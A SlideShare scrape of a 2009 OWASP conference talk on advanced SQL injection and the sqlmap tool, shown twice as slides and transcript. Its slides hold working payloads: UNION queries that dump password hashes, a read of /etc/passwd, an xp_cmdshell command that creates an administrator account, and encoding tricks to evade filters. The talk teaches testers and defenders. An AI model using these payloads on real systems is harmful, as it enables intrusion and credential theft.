SlideShare a Scribd company logo
Copyright © Bernardo Damele Assumpcao Guimaraes
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License.
The OWASP Foundation
http://www.owasp.org
SQL injection: Not only AND 1=1
Bernardo Damele A. G.
Penetration Tester
Portcullis Computer Security Ltd
bernardo.damele@gmail.com
+44 7788962949
2Front Range OWASP Conference, Denver (USA) March 5, 2009
Introduction
From the OWASP Testing Guide:
“SQL injection attacks are a type of injection attack, in
which SQL commands are injected into data-plane input
in order to affect the execution of predefined SQL
commands”
A long list of resources can be found on my
delicious profile,
http://delicious.com/inquis/sqlinjection
3Front Range OWASP Conference, Denver (USA) March 5, 2009
How does it work?
Detection of a possible SQL injection flaw
Back-end database management system
fingerprint
SQL injection vulnerability can lead to:
DBMS data exfiltration and manipulation
File system read and write access
Operating system control
4Front Range OWASP Conference, Denver (USA) March 5, 2009
sqlmap – http://sqlmap.sourceforge.net
Open source command-line automatic tool
Detect and exploit SQL injection flaws in web
applications
Developed in Python since July 2006
Released under GPLv2
5Front Range OWASP Conference, Denver (USA) March 5, 2009
sqlmap key features
Full support for MySQL, Oracle, PostgreSQL
and Microsoft SQL Server
Three SQL injection techniques:
Boolean-based blind
UNION query
Batched queries
Targets: from user, by parsing
WebScarab/Burp proxies log files, by Google
dorking
6Front Range OWASP Conference, Denver (USA) March 5, 2009
sqlmap key features
Perform an extensive back-end DBMS fingerprint
Enumerate users, password hashes, privileges,
databases, tables, columns and their data-type
Dump entire or user specified database table
entries
Run custom SQL statements
7Front Range OWASP Conference, Denver (USA) March 5, 2009
Database management system fingerprint
sqlmap implements up to four techniques:
Inband error messages
Banner (version(), @@version, …) parsing
SQL dialect
Specific functions static output comparison
8Front Range OWASP Conference, Denver (USA) March 5, 2009
Database management system fingerprint
Example of basic back-end DBMS fingerprint on
Oracle 10g Express Edition:
Two techniques:
Specific variables
Specific functions static output comparison
The two possible queries to fingerprint it are:
AND ROWNUM=ROWNUM
AND LENGTH(SYSDATE)=LENGTH(SYSDATE)
9Front Range OWASP Conference, Denver (USA) March 5, 2009
Database management system fingerprint
Example of extensive back-end DBMS fingerprint
on Microsoft SQL Server 2005:
Three techniques:
Active fingerprint: Microsoft SQL Server 2005
Banner parsing fingerprint: Microsoft SQL Server 2005
Service Pack 0 version 9.00.1399
HTML error message fingerprint: Microsoft SQL Server
Active fingerprint refers to specific functions’ static
output comparison in this example
10Front Range OWASP Conference, Denver (USA) March 5, 2009
Database management system fingerprint
Examples of SQL dialect fingerprint:
On MySQL:
/*!50067 AND 47=47 */
On PostgreSQL:
AND 82::int=82
11Front Range OWASP Conference, Denver (USA) March 5, 2009
More on fingerprint
Fingerprinting is a key step in penetration
testing
It is not only about back-end DBMS software
There are techniques and tools to fingerprint the
web server, the web application technology and
their underlying system
What about the back-end DBMS underlying
operating system?
12Front Range OWASP Conference, Denver (USA) March 5, 2009
More on fingerprint
sqlmap can fingerprint them without making
extra requests:
Web/application server and web application
technology: by parsing the HTTP response
headers
Known basic technique
Back-end DBMS operating system: by parsing the
DBMS banner
Over-looked technique
13Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL statement syntax
Identify the web application query syntax is
mandatory
It is needed to correctly exploit the flaw
Example:
"SELECT id, user FROM users WHERE id LIKE
((('%" . $_GET['id'] . "%'))) LIMIT 0, 1"
14Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL statement syntax
Possible exploitation vector:
page.php?id=1'))) AND ((('RaNd' LIKE 'RaNd
For a boolean-based blind SQL injection exploit:
1'))) AND ORD(MID((SQL query),
Nth SQL query output character, 1)) >
Bisection algorithm number
AND ((('RaNd' LIKE 'RaNd
15Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL statement syntax
For a UNION query SQL injection exploit:
1'))) UNION ALL SELECT NULL,
Concatenated SQL query#
AND ((('RaNd' LIKE 'RaNd
For a batched query SQL injection exploit:
1'))); SQL query;#
AND ((('RaNd' LIKE 'RaNd
16Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass number of columns limitation
You’ve got a SQL injection point vulnerable to
UNION query technique detected by:
ORDER BY clause brute-forcing
NULL brute-forcing
Sequential number brute-forcing
The number of columns in the SELECT
statement is fewer than the number of columns
that you want to inject
17Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass number of columns limitation
Concatenate your SELECT statement columns
with random delimiters in a single output
Example:
The original SELECT statement has only one
column
Back-end DBMS is PostgreSQL 8.3
We want to retrieve users’ password hashes
18Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass number of columns limitation
SELECT usename, passwd FROM pg_shadow
↓
UNION ALL SELECT,
CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR
(68)||CHR(111)||COALESCE(CAST(usename AS
CHARACTER(10000)),
CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR(
121)||CHR(66)||CHR(109)||COALESCE(CAST(pas
swd AS CHARACTER(10000)),
CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR
(103)||CHR(107)||CHR(90), FROM pg_shadow--
19Front Range OWASP Conference, Denver (USA) March 5, 2009
Single entry UNION query SQL injection
You’ve got a parameter vulnerable to UNION
query SQL injection
The page displays only the query’s first entry
output
Change the parameter value to its negative
value or append a false AND condition to the
original parameter value
Cause the original query to produce no output
20Front Range OWASP Conference, Denver (USA) March 5, 2009
Single entry UNION query SQL injection
Inspect and unpack the SQL injection statement:
Calculate its output number of entries
Limit it to return one entry at a time
Repeat the previous action N times where N
is the number of output entries
21Front Range OWASP Conference, Denver (USA) March 5, 2009
Single entry UNION query SQL injection
Example on MySQL 4.1 to enumerate the list of
databases:
SELECT db FROM mysql.db
↓
SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT
CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db
AS CHAR(10000)), CHAR(32)),
CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT
Nth, 1# AND 6972=6972
22Front Range OWASP Conference, Denver (USA) March 5, 2009
Single entry UNION query SQL injection
Another technique consists of retrieving
entries as a single string
Example on MySQL 5.0:
SELECT user, password FROM mysql.user
↓
SELECT GROUP_CONCAT(CONCAT(user, 'RaND',
password)) FROM mysql.user
23Front Range OWASP Conference, Denver (USA) March 5, 2009
Getting a SQL shell
sqlmap has options to enumerate / dump
different types of data from the back-end DBMS
It also allows the user to run custom SQL
queries
It inspects the provided statement:
SELECT: it goes blind or UNION query to retrieve
the output
DDL, DML, etc: it goes batched query to run it
24Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL injection: Not only WHERE clause
Most of the SQL injections occur within the
WHERE clause, but GROUP BY, ORDER BY and
LIMIT can also be affected
SQL injection within these clauses can be
exploited to perform a blind injection or, in some
cases a UNION query injection
In all cases batched query injection is possible
25Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL injection in GROUP BY clause
Example on MySQL 5.0:
"SELECT id, name FROM users GROUP BY "
. $_GET['id']
↓
SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))
26Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL injection in ORDER BY clause
Example on PostgreSQL 8.2:
"SELECT id, name FROM users ORDER BY "
. $_GET['id']
↓
SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1/0 END))
27Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL injection in LIMIT clause
Example on MySQL 6.0:
"SELECT id, name FROM users LIMIT 0, "
. $_GET['id']
↓
SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (condition)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL
28Front Range OWASP Conference, Denver (USA) March 5, 2009
SQL injection payloads to bypass filters
There are numerous techniques to bypass:
Web application language security settings
Web application firewalls
Intrusion [Detection|Prevention] Systems
Web server security settings
These techniques can be combined
29Front Range OWASP Conference, Denver (USA) March 5, 2009
PHP Magic Quotes misuse: Bypass
You’ve a SQL injection point in a GET, POST
parameter or Cookie value
Web application language is PHP
magic_quotes_gpc setting is On
Back-end DBMS is either Microsoft SQL Server or
Oracle
Their escaping character for single quote is single
quote
30Front Range OWASP Conference, Denver (USA) March 5, 2009
PHP Magic Quotes misuse: Bypass
Original statement:
"SELECT name, surname FROM users WHERE
name='" . $_GET['name'] . "'"
Example of a successful exploit:
foobar' OR 10>4--
Query passed by PHP to the back-end DBMS:
SELECT name, surname FROM users WHERE
name='foobar' OR 10>4--'
31Front Range OWASP Conference, Denver (USA) March 5, 2009
PHP Magic Quotes misuse: Bypass
For a UNION query SQL injection exploit:
SELECT name, surname FROM users WHERE
name='foobar' UNION ALL SELECT NAME,
PASSWORD FROM SYS.USER$--'
For a boolean-based blind SQL injection exploit:
SELECT name, surname FROM users WHERE
name='foobar' OR ASCII(SUBSTR((SQL
query), Nth SQL query output char, 1))
> Bisection algorithm number--'
32Front Range OWASP Conference, Denver (USA) March 5, 2009
PHP Magic Quotes bypass: Avoid single quotes
Example on MySQL:
LOAD_FILE('/etc/passwd')
↓
LOAD_FILE(CHAR(47,101,116,99,47,112,97,
115,115,119,100))
or
LOAD_FILE(0x2f6574632f706173737764)
It is not limited to bypass only PHP Magic Quotes
33Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass with percentage char on ASP
ASP ignores % if not followed by a valid pair of
characters
Example on ASP with back-end DBMS
PostgreSQL:
SELECT pg_sleep(3)
↓
S%ELEC%T %p%g_sle%ep(%3)
34Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass by hex-encoding the SQL statement
Example on Microsoft SQL Server:
exec master..xp_cmdshell 'NET USER myuser
mypass /ADD & NET LOCALGROUP
Administrators myuser /ADD'
↓
DECLARE @rand varchar(8000) SET @rand =
0x65786563206d61737465722e2e78705f636d6473
68656c6c20274e45542055534552206d7975736572
206d7970617373202f4144442026204e4554204c4f
43414c47524f55502041646d696e6973747261746f
7273206d7975736572202f41444427; EXEC
(@rand)
35Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass by comments as separators
Example on MySQL:
SELECT user, password FROM mysql.user
↓
SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D
*/password/*r+anD*/FROM/*rAn,D*/mysq
l.user
36Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass by random mixed case payload
Example on Oracle 10g:
SELECT banner FROM v$version WHERE
ROWNUM=1
↓
SeLEcT BaNneR FroM v$vERsIon WhERe
ROwNUm=1
37Front Range OWASP Conference, Denver (USA) March 5, 2009
Bypass by random URI encoded payload
Example on PostgreSQL:
SELECT schemaname FROM pg_tables
↓
%53E%4c%45%43T%20%73%63h%65%6d%61%6e
a%6de%20%46%52O%4d%20%70g%5f%74a%62%
6ce%73
38Front Range OWASP Conference, Denver (USA) March 5, 2009
Credits
Chip Andrews, www.sqlsecurity.com
Daniele Bellucci, daniele.bellucci.googlepages.com
David Campbell, www.owasp.org
Kieran Combes
Alberto Revelli, sqlninja.sourceforge.net
Sumit Siddharth, www.notsosecure.com
Alessandro Tanasi, lab.lonerunners.net
39Front Range OWASP Conference, Denver (USA) March 5, 2009
Questions?
Thanks for your attention!

More Related Content

PDF
SQL injection: Not only AND 1=1
PDF
Not so blind SQL Injection
PDF
SQL injection: Not Only AND 1=1 (updated)
PDF
SQL injection exploitation internals
PDF
Advanced SQL Injection: Attacks
PDF
Standard SQL features where PostgreSQL beats its competitors
PDF
PostgreSQL and XML
PDF
SQL Injection: complete walkthrough (not only) for PHP developers
SQL injection: Not only AND 1=1
Not so blind SQL Injection
SQL injection: Not Only AND 1=1 (updated)
SQL injection exploitation internals
Advanced SQL Injection: Attacks
Standard SQL features where PostgreSQL beats its competitors
PostgreSQL and XML
SQL Injection: complete walkthrough (not only) for PHP developers

What's hot (20)

PDF
XML Support: Specifications and Development
PDF
Advanced SQL injection to operating system full control (short version)
PPT
Advanced Sql Injection ENG
PPT
SQL Injection
PDF
Sql Injection Myths and Fallacies
PDF
Sql injection with sqlmap
PPT
Mysql Ppt
PPT
Advanced SQL Injection
PDF
Advanced SQL injection to operating system full control (whitepaper)
PDF
TSQL Coding Guidelines
PPT
Advanced Topics On Sql Injection Protection
PDF
Got database access? Own the network!
PPT
PPTX
DBMS information in detail || Dbms (lab) ppt
PPT
mysqlHiep.ppt
PDF
Sql Injection 0wning Enterprise
DOC
Dbms lab Manual
PPTX
Sql injection
PDF
Mysql Explain Explained
XML Support: Specifications and Development
Advanced SQL injection to operating system full control (short version)
Advanced Sql Injection ENG
SQL Injection
Sql Injection Myths and Fallacies
Sql injection with sqlmap
Mysql Ppt
Advanced SQL Injection
Advanced SQL injection to operating system full control (whitepaper)
TSQL Coding Guidelines
Advanced Topics On Sql Injection Protection
Got database access? Own the network!
DBMS information in detail || Dbms (lab) ppt
mysqlHiep.ppt
Sql Injection 0wning Enterprise
Dbms lab Manual
Sql injection
Mysql Explain Explained
Ad

Viewers also liked (20)

PDF
ใบงาน แบบสำรวจและประวัติของ นาย พชร แก้วพนมพร
PDF
Infographic: Dementia Toolkit
PPTX
Work incentives
PPTX
Sote-uudistuksen verovaikutuksia
PDF
The growing hacking threat to websites
PPTX
Talking to elderly parents about home care
PDF
To byod or not to byod
PDF
Implementing DNS in Samba PDC
PDF
2013 Mobile Application Security Survey
PDF
ใบงานที่ 7 เรื่อง โครงงานประเภท “การประยุกต์ใช้งาน”
PPTX
Kilpailukykysopimuksen vaikutusarvio
PDF
Website Security Statistics Report 2013
PDF
ecoupons
PDF
Erreportajea dna
PDF
Higgs bosob machine learning challange
PPSX
morphometric analysis
PDF
Kindsight security labs malware report - Q4 2013
PDF
The economic impact of cybercrime and cyber espionage
PPTX
Manufacturing
PPTX
La vida al voltant de la mediterrànea
ใบงาน แบบสำรวจและประวัติของ นาย พชร แก้วพนมพร
Infographic: Dementia Toolkit
Work incentives
Sote-uudistuksen verovaikutuksia
The growing hacking threat to websites
Talking to elderly parents about home care
To byod or not to byod
Implementing DNS in Samba PDC
2013 Mobile Application Security Survey
ใบงานที่ 7 เรื่อง โครงงานประเภท “การประยุกต์ใช้งาน”
Kilpailukykysopimuksen vaikutusarvio
Website Security Statistics Report 2013
ecoupons
Erreportajea dna
Higgs bosob machine learning challange
morphometric analysis
Kindsight security labs malware report - Q4 2013
The economic impact of cybercrime and cyber espionage
Manufacturing
La vida al voltant de la mediterrànea
Ad

Similar to Sql injection (20)

PPT
Web application attacks using Sql injection and countermasures
PPT
Advanced sql injection
PPT
Advanced_SQL_ISASasASasaASnjection (1).ppt
PDF
Sql injection manish file
PPT
MDI Training DB2 Course
PPT
Advanced sql injection 2
PDF
SQL Injection: Amplifying Data Leakeage
PPT
Advancesweqwewqewqewqewqewed_SQL_Injection.ppt
PPT
Advanced_SQL_Injection .ppt
PPT
Advanced_SQL_Injection .ppt
PDF
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
PPT
Sql Injection Adv Owasp
PPTX
Get up to Speed (Quick Guide to data.table in R and Pentaho PDI)
PPTX
Sql injection
PPT
Php classes in mumbai
PDF
PPTX
7. SQL.pptx
Web application attacks using Sql injection and countermasures
Advanced sql injection
Advanced_SQL_ISASasASasaASnjection (1).ppt
Sql injection manish file
MDI Training DB2 Course
Advanced sql injection 2
SQL Injection: Amplifying Data Leakeage
Advancesweqwewqewqewqewqewed_SQL_Injection.ppt
Advanced_SQL_Injection .ppt
Advanced_SQL_Injection .ppt
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Sql Injection Adv Owasp
Get up to Speed (Quick Guide to data.table in R and Pentaho PDI)
Sql injection
Php classes in mumbai
7. SQL.pptx

More from Bee_Ware (20)

PDF
Les francais et la protection des données personnelles
PDF
DDoS threat landscape report
PDF
Top ten big data security and privacy challenges
PDF
2013 global encryption trends study
PDF
Verizon 2014 pci compliance report
PDF
Numergy la sécurité des données dans le cloud
PDF
Waf, le bon outil, la bonne administration
PDF
Bonnes pratiques de sécurité - Kaspersky
PDF
Les entreprises européennes sont elles bien armées pour affronter les cyber a...
PDF
Maitriser la ssi pour les systèmes industriels
PDF
Biometrics how far are we prepared to go
PDF
Managing complexity in IAM
PDF
Websense security prediction 2014
PDF
Les principales failles de sécurité des applications web actuelles
PDF
La sécurité des Si en établissement de santé
PDF
Les 10 risques liés aux applications mobiles
PDF
Guide de mise en oeuvre d'une authentification forte avec une cps
PDF
Clusif le role de l'organisation humaine dans la ssi 2013
PDF
2013 cost of data breach study - France
PDF
2013 cost of data breach study - Global analysis
Les francais et la protection des données personnelles
DDoS threat landscape report
Top ten big data security and privacy challenges
2013 global encryption trends study
Verizon 2014 pci compliance report
Numergy la sécurité des données dans le cloud
Waf, le bon outil, la bonne administration
Bonnes pratiques de sécurité - Kaspersky
Les entreprises européennes sont elles bien armées pour affronter les cyber a...
Maitriser la ssi pour les systèmes industriels
Biometrics how far are we prepared to go
Managing complexity in IAM
Websense security prediction 2014
Les principales failles de sécurité des applications web actuelles
La sécurité des Si en établissement de santé
Les 10 risques liés aux applications mobiles
Guide de mise en oeuvre d'une authentification forte avec une cps
Clusif le role de l'organisation humaine dans la ssi 2013
2013 cost of data breach study - France
2013 cost of data breach study - Global analysis

Recently uploaded (20)

PDF
Empathic Computing: Creating Shared Understanding
PPTX
Cloud computing and distributed systems.
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
cuic standard and advanced reporting.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
KodekX | Application Modernization Development
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Approach and Philosophy of On baking technology
PPTX
MYSQL Presentation for SQL database connectivity
PPTX
Programs and apps: productivity, graphics, security and other tools
Empathic Computing: Creating Shared Understanding
Cloud computing and distributed systems.
Dropbox Q2 2025 Financial Results & Investor Presentation
Spectral efficient network and resource selection model in 5G networks
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Network Security Unit 5.pdf for BCA BBA.
cuic standard and advanced reporting.pdf
20250228 LYD VKU AI Blended-Learning.pptx
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Agricultural_Statistics_at_a_Glance_2022_0.pdf
KodekX | Application Modernization Development
Building Integrated photovoltaic BIPV_UPV.pdf
Encapsulation_ Review paper, used for researhc scholars
Mobile App Security Testing_ A Comprehensive Guide.pdf
Approach and Philosophy of On baking technology
MYSQL Presentation for SQL database connectivity
Programs and apps: productivity, graphics, security and other tools

Sql injection

  • 1. Copyright © Bernardo Damele Assumpcao Guimaraes Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License. The OWASP Foundation http://www.owasp.org SQL injection: Not only AND 1=1 Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd bernardo.damele@gmail.com +44 7788962949
  • 2. 2Front Range OWASP Conference, Denver (USA) March 5, 2009 Introduction From the OWASP Testing Guide: “SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands” A long list of resources can be found on my delicious profile, http://delicious.com/inquis/sqlinjection
  • 3. 3Front Range OWASP Conference, Denver (USA) March 5, 2009 How does it work? Detection of a possible SQL injection flaw Back-end database management system fingerprint SQL injection vulnerability can lead to: DBMS data exfiltration and manipulation File system read and write access Operating system control
  • 4. 4Front Range OWASP Conference, Denver (USA) March 5, 2009 sqlmap – http://sqlmap.sourceforge.net Open source command-line automatic tool Detect and exploit SQL injection flaws in web applications Developed in Python since July 2006 Released under GPLv2
  • 5. 5Front Range OWASP Conference, Denver (USA) March 5, 2009 sqlmap key features Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server Three SQL injection techniques: Boolean-based blind UNION query Batched queries Targets: from user, by parsing WebScarab/Burp proxies log files, by Google dorking
  • 6. 6Front Range OWASP Conference, Denver (USA) March 5, 2009 sqlmap key features Perform an extensive back-end DBMS fingerprint Enumerate users, password hashes, privileges, databases, tables, columns and their data-type Dump entire or user specified database table entries Run custom SQL statements
  • 7. 7Front Range OWASP Conference, Denver (USA) March 5, 2009 Database management system fingerprint sqlmap implements up to four techniques: Inband error messages Banner (version(), @@version, …) parsing SQL dialect Specific functions static output comparison
  • 8. 8Front Range OWASP Conference, Denver (USA) March 5, 2009 Database management system fingerprint Example of basic back-end DBMS fingerprint on Oracle 10g Express Edition: Two techniques: Specific variables Specific functions static output comparison The two possible queries to fingerprint it are: AND ROWNUM=ROWNUM AND LENGTH(SYSDATE)=LENGTH(SYSDATE)
  • 9. 9Front Range OWASP Conference, Denver (USA) March 5, 2009 Database management system fingerprint Example of extensive back-end DBMS fingerprint on Microsoft SQL Server 2005: Three techniques: Active fingerprint: Microsoft SQL Server 2005 Banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 version 9.00.1399 HTML error message fingerprint: Microsoft SQL Server Active fingerprint refers to specific functions’ static output comparison in this example
  • 10. 10Front Range OWASP Conference, Denver (USA) March 5, 2009 Database management system fingerprint Examples of SQL dialect fingerprint: On MySQL: /*!50067 AND 47=47 */ On PostgreSQL: AND 82::int=82
  • 11. 11Front Range OWASP Conference, Denver (USA) March 5, 2009 More on fingerprint Fingerprinting is a key step in penetration testing It is not only about back-end DBMS software There are techniques and tools to fingerprint the web server, the web application technology and their underlying system What about the back-end DBMS underlying operating system?
  • 12. 12Front Range OWASP Conference, Denver (USA) March 5, 2009 More on fingerprint sqlmap can fingerprint them without making extra requests: Web/application server and web application technology: by parsing the HTTP response headers Known basic technique Back-end DBMS operating system: by parsing the DBMS banner Over-looked technique
  • 13. 13Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL statement syntax Identify the web application query syntax is mandatory It is needed to correctly exploit the flaw Example: "SELECT id, user FROM users WHERE id LIKE ((('%" . $_GET['id'] . "%'))) LIMIT 0, 1"
  • 14. 14Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL statement syntax Possible exploitation vector: page.php?id=1'))) AND ((('RaNd' LIKE 'RaNd For a boolean-based blind SQL injection exploit: 1'))) AND ORD(MID((SQL query), Nth SQL query output character, 1)) > Bisection algorithm number AND ((('RaNd' LIKE 'RaNd
  • 15. 15Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL statement syntax For a UNION query SQL injection exploit: 1'))) UNION ALL SELECT NULL, Concatenated SQL query# AND ((('RaNd' LIKE 'RaNd For a batched query SQL injection exploit: 1'))); SQL query;# AND ((('RaNd' LIKE 'RaNd
  • 16. 16Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass number of columns limitation You’ve got a SQL injection point vulnerable to UNION query technique detected by: ORDER BY clause brute-forcing NULL brute-forcing Sequential number brute-forcing The number of columns in the SELECT statement is fewer than the number of columns that you want to inject
  • 17. 17Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass number of columns limitation Concatenate your SELECT statement columns with random delimiters in a single output Example: The original SELECT statement has only one column Back-end DBMS is PostgreSQL 8.3 We want to retrieve users’ password hashes
  • 18. 18Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass number of columns limitation SELECT usename, passwd FROM pg_shadow ↓ UNION ALL SELECT, CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR (68)||CHR(111)||COALESCE(CAST(usename AS CHARACTER(10000)), CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR( 121)||CHR(66)||CHR(109)||COALESCE(CAST(pas swd AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR (103)||CHR(107)||CHR(90), FROM pg_shadow--
  • 19. 19Front Range OWASP Conference, Denver (USA) March 5, 2009 Single entry UNION query SQL injection You’ve got a parameter vulnerable to UNION query SQL injection The page displays only the query’s first entry output Change the parameter value to its negative value or append a false AND condition to the original parameter value Cause the original query to produce no output
  • 20. 20Front Range OWASP Conference, Denver (USA) March 5, 2009 Single entry UNION query SQL injection Inspect and unpack the SQL injection statement: Calculate its output number of entries Limit it to return one entry at a time Repeat the previous action N times where N is the number of output entries
  • 21. 21Front Range OWASP Conference, Denver (USA) March 5, 2009 Single entry UNION query SQL injection Example on MySQL 4.1 to enumerate the list of databases: SELECT db FROM mysql.db ↓ SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db AS CHAR(10000)), CHAR(32)), CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT Nth, 1# AND 6972=6972
  • 22. 22Front Range OWASP Conference, Denver (USA) March 5, 2009 Single entry UNION query SQL injection Another technique consists of retrieving entries as a single string Example on MySQL 5.0: SELECT user, password FROM mysql.user ↓ SELECT GROUP_CONCAT(CONCAT(user, 'RaND', password)) FROM mysql.user
  • 23. 23Front Range OWASP Conference, Denver (USA) March 5, 2009 Getting a SQL shell sqlmap has options to enumerate / dump different types of data from the back-end DBMS It also allows the user to run custom SQL queries It inspects the provided statement: SELECT: it goes blind or UNION query to retrieve the output DDL, DML, etc: it goes batched query to run it
  • 24. 24Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL injection: Not only WHERE clause Most of the SQL injections occur within the WHERE clause, but GROUP BY, ORDER BY and LIMIT can also be affected SQL injection within these clauses can be exploited to perform a blind injection or, in some cases a UNION query injection In all cases batched query injection is possible
  • 25. 25Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL injection in GROUP BY clause Example on MySQL 5.0: "SELECT id, name FROM users GROUP BY " . $_GET['id'] ↓ SELECT id, name FROM users GROUP BY 1, (SELECT (CASE WHEN (condition) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END))
  • 26. 26Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL injection in ORDER BY clause Example on PostgreSQL 8.2: "SELECT id, name FROM users ORDER BY " . $_GET['id'] ↓ SELECT id, name FROM users ORDER BY 1, (SELECT (CASE WHEN (condition) THEN 1 ELSE 1/0 END))
  • 27. 27Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL injection in LIMIT clause Example on MySQL 6.0: "SELECT id, name FROM users LIMIT 0, " . $_GET['id'] ↓ SELECT id, name FROM users LIMIT 0, 1 UNION ALL SELECT (CASE WHEN (condition) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END), NULL
  • 28. 28Front Range OWASP Conference, Denver (USA) March 5, 2009 SQL injection payloads to bypass filters There are numerous techniques to bypass: Web application language security settings Web application firewalls Intrusion [Detection|Prevention] Systems Web server security settings These techniques can be combined
  • 29. 29Front Range OWASP Conference, Denver (USA) March 5, 2009 PHP Magic Quotes misuse: Bypass You’ve a SQL injection point in a GET, POST parameter or Cookie value Web application language is PHP magic_quotes_gpc setting is On Back-end DBMS is either Microsoft SQL Server or Oracle Their escaping character for single quote is single quote
  • 30. 30Front Range OWASP Conference, Denver (USA) March 5, 2009 PHP Magic Quotes misuse: Bypass Original statement: "SELECT name, surname FROM users WHERE name='" . $_GET['name'] . "'" Example of a successful exploit: foobar' OR 10>4-- Query passed by PHP to the back-end DBMS: SELECT name, surname FROM users WHERE name='foobar' OR 10>4--'
  • 31. 31Front Range OWASP Conference, Denver (USA) March 5, 2009 PHP Magic Quotes misuse: Bypass For a UNION query SQL injection exploit: SELECT name, surname FROM users WHERE name='foobar' UNION ALL SELECT NAME, PASSWORD FROM SYS.USER$--' For a boolean-based blind SQL injection exploit: SELECT name, surname FROM users WHERE name='foobar' OR ASCII(SUBSTR((SQL query), Nth SQL query output char, 1)) > Bisection algorithm number--'
  • 32. 32Front Range OWASP Conference, Denver (USA) March 5, 2009 PHP Magic Quotes bypass: Avoid single quotes Example on MySQL: LOAD_FILE('/etc/passwd') ↓ LOAD_FILE(CHAR(47,101,116,99,47,112,97, 115,115,119,100)) or LOAD_FILE(0x2f6574632f706173737764) It is not limited to bypass only PHP Magic Quotes
  • 33. 33Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass with percentage char on ASP ASP ignores % if not followed by a valid pair of characters Example on ASP with back-end DBMS PostgreSQL: SELECT pg_sleep(3) ↓ S%ELEC%T %p%g_sle%ep(%3)
  • 34. 34Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass by hex-encoding the SQL statement Example on Microsoft SQL Server: exec master..xp_cmdshell 'NET USER myuser mypass /ADD & NET LOCALGROUP Administrators myuser /ADD' ↓ DECLARE @rand varchar(8000) SET @rand = 0x65786563206d61737465722e2e78705f636d6473 68656c6c20274e45542055534552206d7975736572 206d7970617373202f4144442026204e4554204c4f 43414c47524f55502041646d696e6973747261746f 7273206d7975736572202f41444427; EXEC (@rand)
  • 35. 35Front Range OWASP Conference, Denver (USA) March 5, 2009 Bypass by comments as separators Example on MySQL: SELECT user, password FROM mysql.user ↓ SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D */password/*r+anD*/FROM/*rAn,D*/mysq l.user
